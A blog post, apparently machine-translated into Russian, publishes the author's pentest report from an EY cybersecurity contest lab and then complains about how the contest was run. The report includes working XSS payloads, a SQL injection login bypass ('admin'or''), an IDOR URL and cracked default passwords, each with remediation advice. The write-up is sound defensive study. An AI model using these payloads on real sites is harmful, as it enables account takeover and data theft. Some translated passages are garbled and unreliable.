Отчет за 0 баллов EY GDS Польша Кибербезопасность Вызов через Challenge Rocket

Автор: | |

Эта запись разделена на две части. В первом я публикую описание уязвимостей, которые мне удалось идентифицировать в рамках «EY GDS Poland Cybersecurity Challenge». Во втором я описываю свои оговорки относительно формы, в которой был осуществлен этот «вызов», и почему я это делаю.

Часть 1 — Обнаружены ошибки безопасности

1. Отраженные межсайтовые сценарии

Оценка CVSSv3: 8.0
CVSS v3 вектор: AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Серьезность: Критическая

Вывод:
Во время теста была обнаружена отраженная уязвимость межсайтовых сценариев. Он позволяет внедрять и выполнять код JavaScript в контексте приложения. Код JavaScript отражается только сервером, что отличается от хранимых межсайтовых сценариев, которые постоянно хранят код в приложении. Эта уязвимость в основном используется для захвата сеансов аутентифицированных пользователей. Он также может быть использован для перенаправления пользователей на вредоносные веб-сайты или кражи ключей пользователя приложения.

Доказательство:
Запрос:

GET /index.php?login=testhqw60%22%3e%3cscript%3ealert(1)%3c%2fscript%3ek9nju&psw=test&page=login HTTP/1.1
Принимающая сторона: 192.168.140.129
Небезопасные запросы на обновление: 1
Пользовательский агент: Mozilla/5.0 (Windows NT 10.0; Вин64; x64) AppleWebKit/537.36 (KHTML, как Gecko) Chrome/89.0.4356.6 Safari/537.36
Принять: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Судья: http://192.168.140.129/index.php?page=login
Акцепт-Кодирование: gzip, сдуть
Язык принятия: en-US,en;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=0f9k9rgvdg5lqfpvuhem70eo73
Подключение: закрыть

ответ:

HTTP/1.1 200 ОК
Дата: Втр, 05 Янв 2021 17:04:34 GMT
Сервер: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Срок действия: Чт, 19 Ноя 1981 08:52:00 GMT
Cache-Control: без хранилища, без кэша, must-revalidate, post-check=0, pre-check=0
Прагма: без кэша
Длина содержимого: 1248
Подключение: закрыть
Тип содержимого: текст/html; кодировка=UTF-8<html>
<head>
    <title>Внутренняя система чата</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
<div style="width:600px; margin: 0 auto; text-align: center">
    <a href="/">
        <img src="ey-logo.png" height="72" alt="EY">
    </a>
    <div style="margin-top:50px;">
                <nav>
              <a href="/index.php?page=messages">мои сообщения</a><a href="/index.php?page=new_message">Отправить сообщение</a>Выход из<a href="/index.php?logout">системы</a>
              
              
          </nav>
          </div>
    <div style="margin-top:20px;">
      <div class='message_error'>Ошибка входа в систему</div>
<form target="_self">
    <div class="container">
        <label for="login"><b>логин</b></label>
        <input type="text" placeholder="Enter login" name="login" id="login"
               value="testhqw60"><script>alert(1)</script>k9nju" требуется>

<label for="psw"> <b>Пароль</b></label></div></form></div></div></body></html>

Рекомендация:
Проблема возникает из-за отсутствия надлежащей проверки ввода и надлежащего кодирования вывода. Настоятельно рекомендуется включить как строгие правила санитарной подготовки ввода, так и кодировку вывода. Специальные символы HTML, такие как '<' and="" '="">', должны быть закодированы в HTML (заменены на ' '<' and="" '="">соответственно) во всех данных, считываемых из пользовательского ввода, баз данных и файлов.</'> </'> То же самое относится к таким символам, как " (который должен быть заменен на ") и ' (который должен быть экранирован со знаком обратной обратной черты). В свою очередь, строгая дезинфицирующая дезинфицирующая проверка входных данных означает иной подход к проверке входных данных. Например, если переменная предназначена для хранения числа, лучше проверить, является ли она на самом деле числом (например, соответствует ли оно регулярному выражению ^d+$ или с целочисленным приведением), а не пытаться выяснить все возможные плохие символы, которые должны быть отфильтрованы. Проверка ввода, происходящая на стороне сервера, является обязательной, в то время как проверка на стороне клиента (HTML / JavaScript, веб-браузер, который контролируется пользователем) должна присутствовать в основном в целях удобства использования, а также для предотвращения так называемых межсайтовых сценариев на основе DOM. Если какая-либо предоставленная пользователем переменная записывается в базу данных/файл/HTML-документ без предварительной санитарной проверки, а затем отображается обратно другим пользователям, такая уязвимость становится сохраненным XSS, что гораздо опаснее, поскольку ее можно использовать против аутентифицированных пользователей без каких-либо действий, предпринятых с их стороны. Кроме того, обычно масштаб хранимой XSS-атаки шире, чем в случае отраженной, так как это может повлиять на нескольких пользователей.

Ссылки:
CWE-79
http://cwe.mitre.org/data/definitions/79.html

OWASP http://www.owasp.org/index.php/Cross_Site_Scripting
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md

2. Внедрение кода SQL

Оценка CVSSv3: 8.8
CVSS v3 вектор: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Серьезность: Критическая

Вывод:
в приложении обнаружен недостаток SQL-инъекции. Эта уязвимость позволяет потенциальному злоумышленнику выполнять прямые SQL-запросы к базовой базе данных. Злоумышленник может, например, получить всю информацию из базы данных, к которой имеет доступ текущий пользователь базы данных. Он также позволяет деформить веб-сайт, выполнять XSS путем манипулирования данными базы данных или выполнять системные команды.

Доказательство:
Из-за того, что приложение не использует параметризацию, почти целые параметры в приложении уязвимы для SQL-инъекций.

просьба:

GET /index.php?login=admin'or'&psw=xyz&page=login HTTP/1.1
Принимающая сторона: 192.168.140.129
Небезопасные запросы на обновление: 1
Пользовательский агент: Mozilla/5.0 (Windows NT 10.0; Вин64; x64) AppleWebKit/537.36 (KHTML, как Gecko) Chrome/89.0.4356.6 Safari/537.36
Принять: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Судья: http://192.168.140.129/index.php?page=login
Акцепт-Кодирование: gzip, сдуть
Язык принятия: en-US,en;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=0f9k9rgvdg5lqfpvuhem70eo73
Подключение: закрыть

ответ:

HTTP/1.1 302 Найдено
Дата: Втр, 05 Янв 2021 17:15:25 GMT
Сервер: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Срок действия: Чт, 19 Ноя 1981 08:52:00 GMT
Cache-Control: без хранилища, без кэша, must-revalidate, post-check=0, pre-check=0
Прагма: без кэша
Расположение: /index.php?loggedin
Длина содержания: 666
Подключение: закрыть
Тип содержимого: текст/html; кодировка=UTF-8<html>
<head>
    <title>Внутренняя система чата</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
<div style="width:600px; margin: 0 auto; text-align: center">
    <a href="/">
        <img src="ey-logo.png" height="72" alt="EY">
    </a>
    <div style="margin-top:50px;">
                <nav>
              <a href="/index.php?page=messages">мои сообщения</a><a href="/index.php?page=new_message">Отправить сообщение</a>Выход из<a href="/index.php?logout">системы</a>
              
              
          </nav>
          </div>
    <div style="margin-top:20px;">
      <div class='message_success'>Пользователь вошел в систему</div></div></div></body></html>

Рекомендация:
Каждый специальный символ во входных данных пользователей должен быть отфильтрован и/или очищен на стороне сервера, чтобы предотвратить уязвимости SQL Injection. Целочисленные значения не следует рассматривать как строковые значения и должны быть проанализированы как целое число, прежде чем предпринимать с ними действия. Рекомендуется использовать подготовленные (параметризованные) инструкции во всех случаях, когда присутствуют запросы к базе данных.

Ссылки:
CWE-89
http://cwe.mitre.org/data/definitions/89.html

OWASP https://www.owasp.org/index.php/SQL_Injection
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.md

3. Сохраненные межсайтовые сценарии

Оценка CVSSv3: 8.0
CVSS v3 вектор: AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Серьезность: Критическая

Обнаружение:
Во время тестирования были обнаружены уязвимости сохраненных межсайтовых сценариев. Он в основном используется для захвата сеансов аутентифицированных пользователей. Проблема возникает из-за отсутствия надлежащей проверки ввода и надлежащего кодирования вывода. Сохраненный XSS имеет место, когда любая предоставленная пользователем уязвимая переменная записывается в базу данных/файл, а затем отображается обратно другим пользователям. Следовательно, сохраненный XSS гораздо более опасен, поскольку его можно использовать против других пользователей без каких-либо действий, предпринимаемых с их стороны, таких как фишинг. Это может быть крайне полезно для заражения пользователей с помощью эксплойтов веб-браузера, злоупотребляя доверием атакуемого приложения.

Доказательство:
Запрос:

GET /index.php?login=testy7sfo%3cscript%3ealert(1)%3c%2fscript%3ejil46&psw=test&psw-repeat=test&page=register HTTP/1.1
Принимающая сторона: 192.168.140.129
Небезопасные запросы на обновление: 1
Пользовательский агент: Mozilla/5.0 (Windows NT 10.0; Вин64; x64) AppleWebKit/537.36 (KHTML, как Gecko) Chrome/89.0.4356.6 Safari/537.36
Принимает: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Судья: http://192.168.140.129/index.php?page=register
Акцепт-Кодирование: gzip, сдуть
Язык принятия: en-US,en;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=0f9k9rgvdg5lqfpvuhem70eo73
Подключение: закрыть

Ответ с точкой выполнения:

HTTP/1.1 200 ОК
Дата: Втр, 05 Янв 2021 17:25:52 GMT
Сервер: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Срок действия: Чт, 19 Ноя 1981 08:52:00 GMT
Cache-Control: без хранилища, без кэша, must-revalidate, post-check=0, pre-check=0
Прагма: без кэша
Подключение: закрыть
Тип содержимого: текст/html; кодировка=UTF-8
Длина содержимого: 15252<html>
<head>
    <title>Внутренняя система чата</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
<div style="width:600px; margin: 0 auto; text-align: center">
    <a href="/">
        <img src="ey-logo.png" height="72" alt="EY">
    </a>
    <div style="margin-top:50px;">
                <nav>
              <a href="/index.php?page=messages">мои сообщения</a><a class="active" href="/index.php?page=new_message">Отправить сообщение</a>Выход из<a href="/index.php?logout">системы</a>
              
              
          </nav>
          </div>
    <div style="margin-top:20px;">
      <div class='message_success'>Отправленное сообщение</div>
    <form target="_self">
        <div class="container">
            <h1>Отправить новое сообщение</h1>
            <p>Пожалуйста, выберите пользователя и предоставьте текст сообщения</p>
            <hr>

            <label for="login"><b>пользователь</b></label>
            <select type="text" name="login" id="login" required="">
                                <option value="1">Администратора
                                <option value="2">пользователь
                                <option value="4">prrrsihv
                                <option value="5">0
                                <option value="6">0
                                <option value="7">0
                                <option value="8">0
                                <option value="9">тест"
                                <option value="10">ykq1o3wmfv

[...]
value="14">testgl11i"> <script>alert(1)</script> y9e06
                                <option 
[…]</select></div></form></div></div></body></html>

Рекомендация:
Настоятельно рекомендуется включить как строгие правила санитарной подготовки ввода, так и кодировку вывода. Специальные символы HTML, такие как '<' and="" '="">', должны быть закодированы в HTML (заменены на ' '<' and="" '="">соответственно) во всех данных, считываемых из пользовательского ввода, баз данных и файлов.</'> </'> То же самое относится к таким символам, как " (который должен быть заменен на ") и ' (который должен быть экранирован со знаком обратной обратной черты). В свою очередь, строгая дезинфицирующая дезинфицирующая вводимая означает иной подход к проверке входных данных. Например, если переменная предназначена для хранения числа, лучше проверить, является ли она на самом деле числом (например, соответствует ли оно регулярному выражению ^d+$ или с целочисленным приведением), а не пытаться выяснить все возможные плохие символы, которые должны быть отфильтрованы. Проверка ввода, происходят как на стороне сервера, так и на стороне клиента, является обязательной. Проверка на стороне клиента (HTML/JavaScript, веб-браузер, который контролируется пользователем) предотвращает выполнение межсайтовых сценариев на основе DOM. Проверка на сайте сервера предотвращает стандартные (не DOM) межсайтовые сценарии. Если безопасность полагается только на проверку на стороне клиента, злоумышленнику не составит труда создать альтернативный интерфейс и отправить вредоносные данные на сервер, успешно минуя такого рода механизм. Всегда требуется реализовать строгую проверку ввода как на стороне сервера, так и на стороне клиента. Если какая-либо предоставленная пользователем переменная записывается в базу данных/файл, а затем отображается обратно другим пользователям, такая уязвимость становится хранящимся XSS, что гораздо опаснее, поскольку ее можно использовать против аутентифицированных пользователей без каких-либо действий, предпринятых с их стороны. Также обычно масштаб хранимой XSS-атаки шире, чем в случае отраженной.

Ссылки:
CWE-79
http://cwe.mitre.org/data/definitions/79.html

OWASP http://www.owasp.org/index.php/Cross_Site_Scripting
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md

4. Обход авторизации

Оценка CVSSv3: 8.8
CVSS v3 вектор: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Серьезность: Высокая

Вывод:
Было выявлено, что приложение имеет плохую реализацию авторизации. Пользователь, который знает прямой путь к ресурсу или URL-адрес для вызова определенной функции, может получить к нему доступ без надлежащего предоставления роли. Обход авторизации позволяет выполнять определенные действия без разрешения на это. Например, неавторизованный пользователь может выполнять административные функции, такие как добавление другого администратора пользователя.

Доказательство:
Используя прямой URL-адрес для сообщения, любой может прочитать сообщение, которое ему не принадлежит, просто изменив идентификатор сообщения на нижестоящем URL-адресе:
http://192.168.140.129/index.php?page=messages&message =1

Рекомендация:
Каждый запрос к ресурсу или функции должен быть правильно проверен, если пользователь, вызвав этот действие, имеет соответствующие разрешения. Настоятельно рекомендуется реализация такого механизма, как ACL (Список управления доступом) с записями на URL/модуль/функцию и политикой DENY по умолчанию.

Ссылки:
CWE-285
http://cwe.mitre.org/data/definitions/285.html

OWASP https://www.owasp.org/index.php/Broken_Access_Control
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Access_Control_Cheat_Sheet.md

5. Учетные данные пользователя по умолчанию или легко угадываемые учетные данные пользователя

Оценка CVSSv3: 8.6
CVSS v3 вектор: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
Серьезность: Высокая

Поиск:
Учетные данные пользователя по умолчанию или легко угадываемые учетные данные очень опасны для безопасности приложения. Злоумышленник без особых усилий может получить доступ к закрытому разделу приложения. Угаданный/взломанный пароль можно использовать для входа в закрытый раздел приложения и разворотных атак на авторизованных пользователей. Теперь у злоумышленника есть гораздо более широкая область для эксплуатации приложения.

Доказательство:
Пентестер обнаружил слабый пароль в приложении. Кроме того, приложение использует слабый метод хэширования md5.

Хэш-пропуск входа
admin d8578edf8458ce06fbc5bb76a58c5ca4 qwerty
пользователь 7815696ecbf1c96e6894b779456d330e ASD

Рекомендация:
Все пароли по умолчанию в приложении должны быть изменены. Приложение также должно использовать политику надежных паролей.

Ссылки:

OWASP https://www.owasp.org/index.php/Insecure_Configuration_Management

6. Конфиденциальные данные, отправляемые по незашифрованным каналам

ОЦЕНКА CVSSv3: 7.5
CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Серьезность: Высокая

Обнаружение:
Эта уязвимость возникает, когда конфиденциальные данные отправляются по протоколу HTTP, который не реализует шифрование данных. Любые данные, отправляемые по этому каналу, подвержены взлому и фальсификации.

Доказательство:
Пароли отправляются по незашифрованным каналу опасным методом — получить тип запроса:

Запрос, используемый для регистрации пользователя, отправленный по адресу http:

GET /индекс.php? login=aaaa&psw=aaaa&psw-repeat=aaaa&page=register HTTP/1.1
Принимающая сторона: 192.168.140.129
Небезопасные запросы на обновление: 1
Пользовательский агент: Mozilla/5.0 (Windows NT 10.0; Вин64; x64) AppleWebKit/537.36 (KHTML, как Gecko) Chrome/89.0.4356.6 Safari/537.36
Принять: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Судья: http://192.168.140.129/index.php?page=register
Акцепт-Кодирование: gzip, сдуть
Язык принятия: en-US,en;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: adminer_version=4.7.8; PHPSESSID=142f35v6q107q5krpj1ma23ki1
Подключение: закрыть

Запрос, используемый для входа пользователя, отправленный по адресу http:

GET /индекс.php? login=test&psw=test&page=login HTTP/1.1
Принимающая сторона: 192.168.140.129
Небезопасные запросы на обновление: 1
Пользовательский агент: Mozilla/5.0 (Windows NT 10.0; Вин64; x64) AppleWebKit/537.36 (KHTML, как Gecko) Chrome/89.0.4356.6 Safari/537.36
Принять: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Судья: http://192.168.140.129/index.php?page=login
Акцепт-Кодирование: gzip, сдуть
Язык принятия: en-US,en;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: adminer_version=4.7.8; PHPSESSID=142f35v6q107q5krpj1ma23ki1
Подключение: закрыть

Рекомендация:
Протокол HTTPS должен быть реализован для защиты конфиденциальных данных. Также обратите внимание, что при реализации протокола HTTPS файлы cookie должны быть защищены флагом Secure. Это предотвращает отправку файлов cookie по протоколу HTTP.

Ссылки:
CWE-319
http://cwe.mitre.org/data/definitions/319.html
https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_
OWASP(OWASP-AT-001)
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.md

7. Подробные сообщения об ошибках

Оценка CVSSv3: 6.5
CVSS v3 вектор: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Серьезность: Средняя

Вывод:
В ходе теста было выявлено, что в случае некоторых запросов сервер выбрасывает исключение ошибки. Сообщение об исключении может содержать много подробной технической информации, включая имена файлов, абсолютные пути, а также используемые библиотеки, классы и методы. Эта информация может иметь решающее значение при проведении других критических атак (таких как произвольное чтение файлов, выполнение кода или атаки, специфичные для платформы). Такая подробная информация должна быть доступна только разработчикам приложений и системным администраторам и никогда не должна раскрываться конечному пользователю.

Доказательство:
Запрос:

GET /index.php?login=admin'%20or%20'1'&psw=xyz&page=login HTTP/1.1
Принимающая сторона: 192.168.140.129
Небезопасные запросы на обновление: 1
Пользовательский агент: Mozilla/5.0 (Windows NT 10.0; Вин64; x64) AppleWebKit/537.36 (KHTML, как Gecko) Chrome/89.0.4356.6 Safari/537.36
Принять: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Судья: http://192.168.140.129/index.php?page=login
Акцепт-Кодирование: gzip, сдуть
Язык принятия: en-US,en;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=0f9k9rgvdg5lqfpvuhem70eo73
Подключение: закрыть

ответ:

HTTP/1.1 200 ОК
Дата: Втр, 05 Янв 2021 17:13:52 GMT
Сервер: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Срок действия: Чт, 19 Ноя 1981 08:52:00 GMT
Cache-Control: без хранилища, без кэша, must-revalidate, post-check=0, pre-check=0
Прагма: без кэша
Длина содержания: 753
Подключение: закрыть
Тип содержимого: текст/html; кодировка=UTF-8<html>
<head>
    <title>Внутренняя система чата</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
<div style="width:600px; margin: 0 auto; text-align: center">
    <a href="/">
        <img src="ey-logo.png" height="72" alt="EY">
    </a>
    <div style="margin-top:50px;">
                <nav>
              <a href="/index.php?page=messages">мои сообщения</a><a href="/index.php?page=new_message">Отправить сообщение</a>Выход из<a href="/index.php?logout">системы</a>
              
              
          </nav>
          </div>
    <div style="margin-top:20px;">
      <br />
<b>Неустранимая ошибка:</b>Вызов функции-члена fetch() для необъетто в <b>/var/www/html/login.php</b> online <b>7</b><br /></div></div></body></html>

Рекомендация:
Подробные ошибки не должны предоставляться конечным пользователям. Вместо этого должны быть предоставлены дружественные статические страницы ошибок. Причина ошибки должна быть исследована в коде.

Ссылки:
OWASP
https://www.owasp.org/index.php/Information_Leakage
CWE-209
http://cwe.mitre.org/data/definitions/209.html
CWE-200: Информационное воздействие http://cwe.mitre.org/data/definitions/200.html

Королевстве: Окружающая среда http://www.hpenterprisesecurity.com/vulncat/en/vulncat/intro.html

https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Error_Handling_Cheat_Sheet.md

8. Раскрытие информации

Оценка CVSSv3: 5.3
CVSS v3 вектор: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Серьезность: Низкая

Обнаружение:
уязвимость раскрытия информации возникает, когда конфиденциальная информация каким-либо образом просачивается приложением. Например, доступна конфигурация сервера или приложения. Серьезность этой проблемы зависит от утечки информации.

Доказательство:
Файлы, как показано ниже, не должны быть общедоступными: http://192.168.140.129/info.php

http://192.168.140.129/adminer.php

Раскрытие сервера и версии в
заголовке: Сервер: Apache/2.4.6 (CentOS) PHP/5.4.16

Раскрытие используемого программного обеспечения и версии в файле
cookie: Cookie: PHPSESSID=0f9k9rgvdg5lqfpvuhem70eo73; adminer_version=4.7.8

Рекомендация:
Любая дополнительная информация не должна просачиваться. Должна быть доступна/предоставлена только та информация, которая нужна пользователю.

Ссылки:
CWE-200
http://cwe.mitre.org/data/definitions/200.html

OWASP https://www.owasp.org/index.php/Information_Leakage
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure

Часть 2 — Возражения против "EY GDS UK Cybersecurity Challenge via Challenge Rocket"

Иногда, как часть моих знаний и навыков, я принимаю участие во всевозможных курсах, тренингах и вызовах безопасности. Одним из них был «EY GDS Poland Cybersecurity Challenge», организованный на https://challengerocket.com/ey-cybersecurity-challenge/. Согласно описанию, он заключался в проведении аудита безопасности — цитируя организаторов «Linux и веб-портала». В свою очередь, на основе его результатов должен быть создан отчет. В нем содержалось описание обнаруженных уязвимостей, угрожающих безопасности системы, и рекомендации по повышению общего уровня безопасности. Было отмечено, что уведомление должно быть кратким, кратким и содержать краткое описание уязвимостей и доказательства их существования. То есть можно сказать, что все должно было проходить по стандартному порядку проведения тестов на проникновение.

Актуальная картина конкурса и отношение организаторов к вопросу прояснения связанных с ним сомнений удивили меня в несколько позитивном ключе. Мой отчет был оценен в 0 баллов, прежде всего, цитируя присяжных «результаты сканирования не являются отчетом пентеста».

Изображение имеет пустой атрибут alt; файл с именем image-7-1024x96.png

Это обидная оценка для меня, и я попытался уточнить этот вопрос более точно (вероятная причина в пункте 6 оговорок), но, словом, помимо еженедельных писем (почти месяц), таких как — "когда-нибудь мы можем там ответить", я не получил объяснения.

Изображение имеет пустой атрибут alt; файл с именем image-5.png
Изображение имеет пустой атрибут alt; файл с именем image-6.png

Отсюда и эта запись, в которой я делюсь докладом с «главой хенджа» и своими оговорками относительно его организации и формы осуществления. Были некоторые недостатки.

Тем не менее, я верю, что мой плохой опыт является результатом «серии неудачных событий», а не недостатка доброй воли. Я закрываю оговорки в виде списка и надеюсь, что они будут служить в цикле Уильяма Эдвардса Деминга:

  1. Все веселье иногда ограничивалось — 2ч. На мой взгляд, это слишком мало времени, чтобы провести 2 теста на проникновение и подготовить на основе полного отчета.
  2. Принять участие в головном втором было скачать и смонтировать образ двух виртуальных машин (используя доступное время 2ч). Это не всегда возможно по прозаическим техническим причинам. На мой взгляд, тем, кто участвует, было бы легче, если бы доступ к машинам можно было получить через VPNa, и участникам не пришлось бы настраивать их на своей стороне.
  3. Ограничение в 2h может быть несправедливо опущено — доступ к задачам путем создания учетной записи для поддельных данных. Единственным пунктом защиты от этого было положение в правилах: «4. Каждый Участник может зарегистрироваться на Конкурс и принять участие в Конкурсе только один раз. После начала теста Участник должен завершить его в течение заданного срока. После того, как тест будет завершен, пересдать его не удастся. Участники, которые попытаются зарегистрироваться на Конкурс с нескольких аккаунтов и пройти тест более одного раза, будут дисквалифицированы». Платформа не защищает от таких действий. Это все равно, что вы говорите, что вам не нужно создавать безопасные приложения, потому что их взлом является незаконным.
  4. Пароли доступа не работали/были непогречивы для одной из машин. Сообщив об этом, я получил такой ответ: «Когда дело доходит до доступа к машине — вы, возможно, использовали неправильные данные ненадлежащим образом. Это совершенно не похоже на одну машину и гораздо больше доступа, чем на другую». Я не в состоянии сказать обоснованность этого мнения. Я следовал шагам в руководстве и пытался использовать пароли, приведенные в них. Я получил информацию от других участников, что у них тоже давали «трусы», не получалось. Доступ к машине можно было получить по-другому — через ftp-сервис. Только тогда, зачем вводить в заблуждение инструкцию?
  5. В «веб-портал» был вшит скрипт, который связывался с внешним веб-сервером под названием «ey-logger». Это была странная ситуация, так как он звонил в момент регистрации на «веб-портале» и отправлял ему использованные логин и пароль. Кроме того, при этом он получил доступ к IP-адресам людей, участвующих в игре. Кто-нибудь вшил вредоносный кейлоггер в приложение? Я оценил этот вопрос как пережиток тестов, который был найден там случайно. Однако организатор заявил, что это было там намеренно: «в то время как с точки зрения скрипта — это не тестовый скрипт, а намеренно «странно» выглядящий скрипт с уязвимостью XSS-Persistance (которая является одной из уязвимостей безопасности, которые должны быть обнаружены. Адрес не для сервера EY, а для незначительной и нефункциональной бритвы в Azura."
  6. После завершения теста на проникновение и нажатия на поле next-to-go для включения отчета, оказалось, что это можно сделать только в окне, которое принимает чистый текст, без какого-либо форматирования. Таким образом, итоговый отчет был лишен читабельности и возможности прикрепления графики. Я думаю, что, возможно, именно поэтому мой отчет мог быть ошибочно оценен как «результат сканирования». Я не смог объяснить это до конца, потому что, как я уже сказал, я не получил никакого содержательного ответа в течение месяца.
  7. Организатор не стал публиковать результаты челленджера в основное время. Проведя основное время и спросив, когда появятся результаты, он нарочисто изменил даты в условиях:
Перед сообщением о несоблюдении установленного законом срока
После сообщения о несоблюдении установленного законом срока

8. Организатор раскрыл имена участников, несмотря на то, что этого не произойдет в регламенте — «4. Результаты, полученные Участниками Конкурса, будут опубликованы после окончания Конкурса без опубликования имен и фамилий Участников». Является ли это нарушением GDPR?

Поздравляем победителя и желаем дальнейших успехов! 🙂

Chcesz wiedzieć więcej?

Zapisz się i bądź informowany o nowych postach (zero spamu!). Dodatkowo otrzymasz, moją prywatną listę 15 najbardziej przydatnych narzędzi (wraz z krótkim opisem), których używam przy testach penetracyjnych.

Nigdy nie podam, nie wymienię ani nie sprzedam Twojego adresu e-mail. W każdej chwili możesz zrezygnować z subskrypcji.

Закладка Постоянная ссылка.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *